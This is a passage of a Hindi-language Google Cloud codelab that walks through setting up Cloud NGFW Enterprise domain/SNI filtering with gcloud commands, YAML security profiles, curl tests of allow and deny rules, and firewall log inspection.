Cloud NGFW Enterprise डोमेन/एसएनआई फ़िल्टरिंग कोडलैब [वैकल्पिक टीएलएस की सुरक्षा जांच]

1. परिचय

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें सुरक्षा से जुड़ी बेहतर सुविधाएं, माइक्रो-सेगमेंटेशन, और हर जगह कवरेज की सुविधा मिलती है. इससे Google Cloud के वर्कलोड को अंदरूनी और बाहरी हमलों से सुरक्षित रखा जा सकता है.

Cloud NGFW के ये फ़ायदे हैं:

  • डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा: Cloud NGFW, हर वर्कलोड पर स्टेटफ़ुल और पूरी तरह से डिस्ट्रिब्यूट किया गया होस्ट-आधारित एनफ़ोर्समेंट उपलब्ध कराता है, ताकि ज़ीरो-ट्रस्ट सुरक्षा आर्किटेक्चर को चालू किया जा सके.
  • आसान कॉन्फ़िगरेशन और डिप्लॉयमेंट: Cloud NGFW, नेटवर्क और क्रमबद्ध फ़ायरवॉल नीतियां लागू करता है. इन्हें संसाधन के क्रमबद्ध नोड से जोड़ा जा सकता है. इन नीतियों की मदद से, Google Cloud संसाधन के पूरे क्रम में फ़ायरवॉल की एक जैसी सुविधा मिलती है.
  • ज़्यादा कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल की नीतियों और Identity and Access Management (IAM) के तहत मैनेज किए गए टैग का इस्तेमाल करके, नॉर्थ-साउथ और ईस्ट-वेस्ट, दोनों तरह के ट्रैफ़िक को बेहतर तरीके से कंट्रोल किया जा सकता है. साथ ही, वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क और संगठनों में, एक वीएम तक के ट्रैफ़िक को कंट्रोल किया जा सकता है.

Cloud NGFW इन टियर में उपलब्ध है:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Standard के एफ़क्यूडीएन ऑब्जेक्ट, पूरी तरह क्वालिफ़ाइड डोमेन नेम (एफ़क्यूडीएन) को आईपी पतों में बदल सकते हैं. इसके बाद, आईपी पतों की सूची के हिसाब से नियम लागू कर सकते हैं. हालांकि, डोमेन फ़िल्टरिंग की सुविधा के साथ Cloud NGFW Enterprise, जांच को कुछ और चरणों तक ले जा सकता है.

Cloud NGFW Enterprise

Cloud NGFW Enterprise, फ़िलहाल डिस्ट्रिब्यूट किए गए Google Cloud फ़ायरवॉल फ़ैब्रिक को इंट्रूज़न प्रिवेंशन सर्विस (आईपीएस) उपलब्ध कराता है. यह लेयर 7 की सुविधा है.

Cloud NGFW Enterprise में अब डोमेन फ़िल्टर करने की सुविधा उपलब्ध है. इससे आईपी पतों के बजाय डोमेन नेम का इस्तेमाल करके, http(s) ट्रैफ़िक को कंट्रोल किया जा सकता है.

https ट्रैफ़िक के डोमेन/एसएनआई फ़िल्टर करने के लिए, टीएलएस हैंडशेक के हिस्से के तौर पर, क्लाइंट हैलो एक एक्सटेंशन है. इसमें सर्वर नेम इंडिकेशन (एसएनआई) होता है. एसएनआई, टीएलएस प्रोटोकॉल का एक एक्सटेंशन है. यह उस होस्टनेम को भेजता है जिस पर क्लाइंट पहुंचने की कोशिश कर रहा है. इस फ़ील्ड के आधार पर, फ़िल्टर की पुष्टि की जाएगी.

एचटीटीपी ट्रैफ़िक में एसएनआई नहीं होता है. इसलिए, फ़िल्टरिंग लागू करने के लिए सिर्फ़ एचटीटीपी होस्ट हेडर फ़ील्ड का इस्तेमाल किया जाएगा.

डोमेन फ़िल्टरिंग को UrlFilteringProfile के साथ कॉन्फ़िगर किया जाता है. यह एक नई तरह की सुरक्षा प्रोफ़ाइल है. UrlFilteringProfile में UrlFilters की सूची होगी. इसमें हर UrlFilter में एक कार्रवाई, मैच करने वाली स्ट्रिंग की सूची, और यूनीक प्राथमिकता होगी. इस कॉन्फ़िगरेशन में, नाम देने के लिए "डोमेन" के बजाय "यूआरएल" का इस्तेमाल किया जाता है. ऐसा इसलिए किया जाता है, ताकि जब पूरा यूआरएल फ़िल्टर करने की सुविधा उपलब्ध हो, तो आसानी से इसका इस्तेमाल किया जा सके. इसके लिए, आने वाले समय में नई तरह की सुरक्षा प्रोफ़ाइल बनाने की ज़रूरत नहीं होगी.

UrlFilteringProfiles में, सबसे कम प्राथमिकता (2147483647) वाला एक UrlFilter शामिल होता है. यह उन सभी कनेक्शन को अस्वीकार कर देगा जो ज़्यादा प्राथमिकता वाले UrlFilter से मेल नहीं खाते.

आपको क्या बनाने को मिलेगा

इस कोडलैब के लिए, एक प्रोजेक्ट की ज़रूरत होती है. साथ ही, वीपीसी नेटवर्क बनाने और नेटवर्क और सुरक्षा से जुड़े कई संसाधनों को मैनेज करने की सुविधा भी होनी चाहिए. इसमें दिखाया जाएगा कि Cloud NGFW Enterprise, डोमेन और एसएनआई फ़िल्टरिंग की सुविधा कैसे दे सकता है. साथ ही, टीएलएस की जांच के लिए वैकल्पिक निर्देश भी दिए जाएंगे.

हम अनुमति देने और अस्वीकार करने के नियमों के कई उदाहरणों की जांच करेंगे. इनमें वाइल्डकार्ड का इस्तेमाल भी शामिल है.

4a779fae790d117.png

नेटवर्क फ़ायरवॉल की नीति के नियम के आधार पर, नेटवर्क की आखिरी स्थिति इस टेबल में दी गई जानकारी के मुताबिक होगी:

प्राथमिकता

दिशा

Target

सोर्स

डेस्टिनेशन

कार्रवाई

टाइप

200

इन्ग्रेस डेटा ट्रैफ़िक

ALL

IAP

कोई भी

अनुमति दें

Essentials

300

इग्रेस डेटा ट्रैफ़िक

ALL

कोई भी

0.0.0.0/0:80,443

एल7 की जांच

Enterprise

आपको क्या सीखने को मिलेगा

  • नेटवर्क फ़ायरवॉल की नीति बनाने का तरीका.
  • Cloud NGFW Enterprise में डोमेन/एसएनआई फ़िल्टर करने की सुविधा को कॉन्फ़िगर और इस्तेमाल करने का तरीका.
  • डोमेन/एसएनआई फ़िल्टरिंग के साथ-साथ, खतरे को रोकने की सुविधा को कॉन्फ़िगर करने का तरीका.
  • लॉग की समीक्षा करने का तरीका.
  • [ज़रूरी नहीं] टीएलएस की जांच करने की सुविधा चालू करने का तरीका.

आपको इन चीज़ों की ज़रूरत होगी

  • Google Cloud प्रोजेक्ट.
  • इंस्टेंस डिप्लॉय करने और नेटवर्किंग कॉम्पोनेंट कॉन्फ़िगर करने की जानकारी.
  • नेटवर्क नीति के फ़ायरवॉल कॉन्फ़िगरेशन के बारे में जानकारी.

2. शुरू करने से पहले

वैरिएबल बनाना/अपडेट करना

इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए, $variables का इस्तेमाल किया गया है.

Cloud Shell में, नीचे दी गई कमांड चलाएं. साथ ही, ब्रैकेट में दी गई जानकारी को अपनी ज़रूरत के हिसाब से बदलें:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. एपीआई चालू करें

अगर आपने एपीआई चालू नहीं किए हैं, तो इन्हें चालू करें:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise में एंडपॉइंट बनाना

Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, इसे सबसे पहले बनाया जाएगा. साथ ही, एंडपॉइंट बनने के दौरान ही, बुनियादी सेटअप किया जा सकता है.

अगर आपको थ्रेट प्रिवेंशन प्रोफ़ाइलों का इस्तेमाल नहीं करना है, तब भी डोमेन/एसएनआई फ़िल्टरिंग के लिए फ़ायरवॉल एंडपॉइंट की ज़रूरत होगी.

सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

नीचे दिए गए निर्देश को चलाकर पुष्टि करें कि एंडपॉइंट बनाया जा रहा है (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

इसे बनाने में करीब 20 मिनट लगते हैं. ज़रूरी संसाधनों को एक साथ बनाने के लिए, बुनियादी सेटअप सेक्शन पर जाएं.

5. बेसिक सेटअप

वीपीसी नेटवर्क और सबनेट

वीपीसी नेटवर्क और सबनेट

वीपीसी नेटवर्क और सबनेट बनाएं:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

एक्सटर्नल आईपी पता, Cloud Router, और Cloud NAT गेटवे बनाएं:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

इंस्टेंस बनाना

क्लाइंट इंस्टेंस बनाएं:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone

ग्लोबल नेटवर्क फ़ायरवॉल नीति

ग्लोबल नेटवर्क फ़ायरवॉल की नीति बनाएं:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

पहचान-जागरूक प्रॉक्सी की रेंज से ट्रैफ़िक को अनुमति देने के लिए, Cloud Firewall Essential के ज़रूरी नियम बनाएं:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

क्लाउड फ़ायरवॉल की नीति को वीपीसी नेटवर्क से जोड़ें:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. अनुमति देने के लिए, डोमेन/एसएनआई फ़िल्टर करने के कॉन्फ़िगरेशन बनाएं

इसके बाद, हम उन डोमेन को कॉन्फ़िगर करेंगे जिन्हें अनुमति देनी है और जिन्हें अनुमति नहीं देनी है. Cloud Shell में, yaml फ़ाइल बनाएं:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

yaml कॉन्फ़िगरेशन इंपोर्ट करके, सुरक्षा प्रोफ़ाइल बनाएं:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

अनुमानित आउटपुट:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

सुरक्षा प्रोफ़ाइल ग्रुप बनाने के लिए:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

पुष्टि करें कि एसपीजी में सुरक्षा प्रोफ़ाइल मौजूद है:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

अनुमानित आउटपुट:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Cloud Firewall Endpoint Association

अगर आपने अब तक एनवायरमेंट वैरिएबल तय नहीं किए हैं और/या आपको स्क्रिप्ट का इस्तेमाल करना है, तो एनवायरमेंट वैरिएबल तय करें.

पुष्टि करें कि Cloud Firewall Endpoint बनाने की प्रोसेस पूरी हो गई है. जब स्थिति चालू है के तौर पर दिखे, तब ही आगे बढ़ें. हालांकि, बनाते समय स्थिति बनाया जा रहा है के तौर पर दिखती है:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Cloud Firewall एंडपॉइंट को VPC नेटवर्क से जोड़ें:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

खाता लिंक करने में करीब 10 मिनट लगते हैं. जब तक स्थिति चालू है के तौर पर न दिख जाए, तब तक अगले सेक्शन पर न जाएं. हालांकि, बनाते समय स्थिति बनाया जा रहा है के तौर पर दिखती है:

gcloud network-security firewall-endpoint-associations list

complete के लिए अनुमानित आउटपुट:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. डोमेन/एसएनआई फ़िल्टर करने के लिए फ़ायरवॉल के नियम बनाना

Google के पास, इग्रेस डेटा ट्रैफ़िक को अनुमति देने वाले फ़ायरवॉल के नियम होते हैं. अगर हमें डोमेन/एसएनआई फ़िल्टरिंग लागू करनी है, तो हमें साफ़ तौर पर एक नियम तय करना होगा. यह नियम, डेस्टिनेशन पोर्ट 80 और 443 के लिए इग्रेस ट्रैफ़िक भेजेगा, ताकि हमारी सुरक्षा प्रोफ़ाइल उसकी जांच कर सके.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. अनुमति देने वाले नियमों की पुष्टि करें

आईएपी के ज़रिए वीएम से एसएसएच कनेक्शन शुरू करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

अनुमति वाले डेस्टिनेशन पर सैंपल अनुरोध भेजें:

curl https://www.example.com --max-time 2

ध्यान दें कि फ़ायरवॉल के "अनुमति दें" नियम की वजह से, यह अनुरोध पूरा हो गया.

आइए, हम कुछ ऐसे डोमेन आज़माते हैं जो सूची में शामिल नहीं हैं.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

अनुमानित आउटपुट:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

"example.com" क्यों काम नहीं किया? ऐसा इसलिए है, क्योंकि सुरक्षा प्रोफ़ाइल कॉन्फ़िगरेशन में साफ़ तौर पर "www.example.com" शामिल था. अगर हमें example.com के सभी सबडोमेन को अनुमति देनी है, तो हम वाइल्डकार्ड का इस्तेमाल कर सकते हैं.

अन्य अनुरोध भी पूरे नहीं किए जा सके. ऐसा इसलिए है, क्योंकि सुरक्षा प्रोफ़ाइल ग्रुप में डिफ़ॉल्ट रूप से 'अनुमति नहीं है' विकल्प चुना गया है. साथ ही, सिर्फ़ www.example.com को अनुमति दी गई है.

cloudshell पर वापस जाने के लिए, वीएम से बाहर निकलें.

exit

10. वाइल्डकार्ड के लिए, डोमेन/एसएनआई फ़िल्टर करने के कॉन्फ़िगरेशन को अपडेट करना

आइए, yaml फ़ाइल पर एक नज़र डालें और कुछ और अपडेट करें, ताकि वाइल्डकार्ड के साथ काम करने की सुविधा सहित अन्य सुविधाएं दिखाई जा सकें. हम "*.com" की अनुमति देने वाला एक नियम बनाएंगे. यह .com पर खत्म होने वाले किसी भी डोमेन के बराबर है. ध्यान दें: इससे पिछले सेक्शन में बनाई गई ओरिजनल YAML फ़ाइल का कॉन्टेंट पूरी तरह से बदल जाएगा.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

नई YAML कॉन्फ़िगरेशन फ़ाइल का इस्तेमाल करके, सुरक्षा प्रोफ़ाइल को अपडेट करें:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

सुरक्षा प्रोफ़ाइल के कॉन्फ़िगरेशन की पुष्टि करें:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

अनुमानित आउटपुट:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. वाइल्डकार्ड नियम की पुष्टि करना

आइए, पुष्टि करते हैं कि वाइल्डकार्ड नियम काम कर रहा है या नहीं. आईएपी के ज़रिए वीएम से एसएसएच कनेक्शन शुरू करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

अनुमति वाले डेस्टिनेशन पर सैंपल अनुरोध भेजें:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

इन सभी अनुरोधों को पूरा किया जाना चाहिए. किसी अन्य मान्य .com डोमेन का इस्तेमाल करें. अगर इसके बाद भी पुष्टि नहीं होती है, तो पक्का करें कि आपने कम से कम 10 मिनट इंतज़ार किया हो. इसके बाद, फिर से कोशिश करें.

हम ".com" के कई सबडोमेन भी आज़मा सकते हैं. इन सभी को इस्तेमाल किया जा सकता है.

curl https://mail.google.com --max-time 2

cloudshell पर वापस जाने के लिए, वीएम से बाहर निकलें.

exit

12. डोमेन/एसएनआई फ़िल्टर करने के लिए, अस्वीकार करने से जुड़ा कॉन्फ़िगरेशन अपडेट करें

हमने दिखाया है कि सुरक्षा प्रोफ़ाइल के आखिर में, * के लिए एक डिफ़ॉल्ट रूप से लागू होने वाला DENY नियम है. साथ ही, हमने filteringAction को "ALLOW" के तौर पर इस्तेमाल करके, "allowed" डोमेन बनाए हैं. आइए, इस बारे में बात करते हैं कि फ़िल्टर करने की कार्रवाई को "DENY" के तौर पर कैसे इस्तेमाल किया जाता है. DENY कार्रवाइयां तब फ़ायदेमंद हो सकती हैं, जब वे साफ़ तौर पर ALLOW से पहले की गई हों. नीचे दिया गया उदाहरण देखें.

हम अपने मौजूदा YAML फ़ाइल को अपडेट करेंगे, ताकि *.com को अनुमति दी जा सके. हालांकि, हम कुछ .com डोमेन को अनुमति नहीं देंगे.

हम yaml फ़ाइल में बदलाव करेंगे, ताकि *.github.com और *.google.com को अनुमति न दी जाए. साथ ही, अन्य सभी *.com को अनुमति दी जाए और डिफ़ॉल्ट रूप से अनुमति न देने की सेटिंग लागू रहे. ध्यान दें कि अपवादों की प्राथमिकता का नंबर कम होना चाहिए: (1000 बनाम 2000) और (1500 बनाम 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

नई YAML कॉन्फ़िगरेशन फ़ाइल का इस्तेमाल करके, सुरक्षा प्रोफ़ाइल को अपडेट करें:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

सुरक्षा प्रोफ़ाइल के कॉन्फ़िगरेशन की पुष्टि करें:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. अनुमति न देने से जुड़े नियमों की पुष्टि करना

आइए, पुष्टि करें कि DENY के नियम काम कर रहे हैं या नहीं. आईएपी के ज़रिए वीएम से एसएसएच कनेक्शन शुरू करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

जिन डेस्टिनेशन के लिए अनुरोध अस्वीकार कर दिए गए हैं उन्हें सैंपल अनुरोध भेजें:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

इन दोनों अनुरोधों को अस्वीकार कर दिया जाना चाहिए था, क्योंकि ये "DENY" नियम से मेल खाते हैं.

कुछ और अनुरोध भेजें:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

ये काम क्यों करते हैं? ये नियम इसलिए काम कर रहे हैं, क्योंकि DENY के नियम ".github.com" और ".google.com" के लिए हैं. github.com और google.com के अनुरोधों में वह वाइल्डकार्ड शामिल नहीं है, क्योंकि यह github.com और google.com के सबडोमेन को रेफ़र करता है.

.com डोमेन के लिए किए गए अन्य अनुरोध पूरे होने चाहिए. साथ ही, अन्य डोमेन के लिए डिफ़ॉल्ट रूप से अनुरोध अस्वीकार होने चाहिए. (.org, .net, .me, ...वगैरह)

cloudshell पर वापस जाने के लिए, वीएम से बाहर निकलें.

exit

14. डिफ़ॉल्ट रूप से अनुमति देने के लिए, डोमेन/एसएनआई फ़िल्टर करने के कॉन्फ़िगरेशन को अपडेट करना

अगर आपको साफ़ तौर पर अनुमति न देने के नियमों के साथ, डिफ़ॉल्ट रूप से अनुमति देने का व्यवहार चाहिए, तो क्या होगा. हम इस व्यवहार को दिखाने के लिए, YAML को अपडेट करेंगे. हम .com या .net डोमेन के लिए, DENY नियम कॉन्फ़िगर करेंगे. साथ ही, अन्य सभी डोमेन के लिए अनुमति देंगे.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

नई YAML कॉन्फ़िगरेशन फ़ाइल का इस्तेमाल करके, सुरक्षा प्रोफ़ाइल को अपडेट करें:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

सुरक्षा प्रोफ़ाइल के कॉन्फ़िगरेशन की पुष्टि करें:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

अनुमानित आउटपुट:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

ध्यान दें कि * के लिए, अनुमति नहीं देने की डिफ़ॉल्ट सेटिंग अब भी मौजूद है. यह नियम अब काम का नहीं है, क्योंकि हमने ज़्यादा प्राथमिकता (कम वैल्यू) वाला डिफ़ॉल्ट नियम कॉन्फ़िगर किया है. इसमें फ़िल्टर करने की कार्रवाई को ALLOW पर सेट किया गया है.

(2000000000 बनाम 2147483647)

15. 'अनुमति दें' के डिफ़ॉल्ट नियम के साथ 'अनुमति न दें' के नियमों की पुष्टि करना

आइए, पुष्टि करें कि डिफ़ॉल्ट रूप से अनुमति देने के साथ-साथ, अनुमति न देने के नियम भी काम कर रहे हैं या नहीं. आईएपी के ज़रिए वीएम से एसएसएच कनेक्शन शुरू करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

जिन डेस्टिनेशन के लिए अनुरोध अस्वीकार कर दिए गए हैं उन्हें सैंपल अनुरोध भेजें:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

इन दोनों अनुरोधों को अस्वीकार कर दिया जाना चाहिए था, क्योंकि ये "DENY" नियम से मेल खाते हैं. .com या .net से किए गए किसी भी अनुरोध को अस्वीकार कर दिया जाना चाहिए.

कुछ ऐसे अनुरोध भेजें जो पूरे होने चाहिए (कोई अन्य टॉप लेवल डोमेन):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

ये अनुरोध पूरे होने चाहिए, क्योंकि ये प्राथमिकता 2000000000 के साथ "डिफ़ॉल्ट" अनुमति के नियम का पालन कर रहे हैं.

16. डोमेन/एसएनआई फ़िल्टर करने के लिए लॉग देखना

आइए, यह देखते हैं कि हम कैसे पुष्टि कर सकते हैं कि डोमेन/एसएनआई फ़िल्टर करने के लिए, फ़ायरवॉल के नियम के तहत ट्रैफ़िक की जांच की जा रही है या नहीं.

Cloud Console में, लॉग एक्सप्लोरर पर जाएं और यह फ़िल्टर डालें:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

ऊपर दिए गए फ़िल्टर में, हमने $prefix-fwpolicy नाम की फ़ायरवॉल नीति बनाई है. साथ ही, इसमें नियम की प्राथमिकता 300 है. इसमें डोमेन/एसएनआई फ़िल्टर करने के कॉन्फ़िगरेशन से जुड़ा सुरक्षा प्रोफ़ाइल ग्रुप है.

91854cacaec44798.png

जैसा कि आपको दिख रहा है, "डिसपोज़िशन" में "INTERCEPTED" लिखा है. इसका मतलब है कि ट्रैफ़िक को इंटरसेप्ट किया गया है और प्रोसेसिंग के लिए, हमारे फ़ायरवॉल इंजन को भेजा गया है.

अब डोमेन/एसएनआई फ़िल्टर करने के असल लॉग देखने के लिए, हम Logs Explorer में यह फ़िल्टर डाल सकते हैं: (आपको $project_id को अपने project_id की वैल्यू से बदलना होगा)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

अगर हम कुछ जानकारी को बड़ा करके देखें, तो हमें उदाहरण में यह जानकारी दिखेगी (संशोधित):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

ऊपर दिए गए उदाहरण लॉग में, wikipedia.org से किए गए अनुरोध को दिखाया गया है. इसे अनुमति दी गई है, क्योंकि यह प्राथमिकता 2000000000 वाले नियम के मुताबिक है. यह नियम "*" है और इसमें फ़िल्टर ऐक्शन के तौर पर ALLOW का इस्तेमाल किया गया है. इसमें एसएनआई के साथ-साथ अन्य जानकारी भी शामिल है.

हम DENY का एक सैंपल लॉग देख सकते हैं:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
